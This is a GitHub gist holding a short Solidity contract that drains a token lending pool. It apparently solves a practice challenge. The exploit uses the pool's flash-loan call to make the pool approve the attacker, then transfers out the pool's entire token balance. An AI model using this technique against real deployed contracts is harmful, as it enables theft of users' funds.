Skip to content

Instantly share code, notes, and snippets.

@az0mb13
Created January 22, 2023 17:40
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save az0mb13/9e0a6149b7c76b73bc3e9b3e935117c5 to your computer and use it in GitHub Desktop.
contract TrusterExploiter {
TrusterLenderPool public immutable pool;
IERC20 public immutable token;
constructor(address _pool, address _token) {
pool = TrusterLenderPool(_pool);
token = IERC20(_token);
}
function attack() external {
uint256 poolBalance = token.balanceOf(address(pool));
pool.flashLoan(
0,
msg.sender,
address(token),
abi.encodeWithSignature(
"approve(address,uint256)",
address(this),
poolBalance
)
);
token.transferFrom(address(pool), msg.sender, poolBalance);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment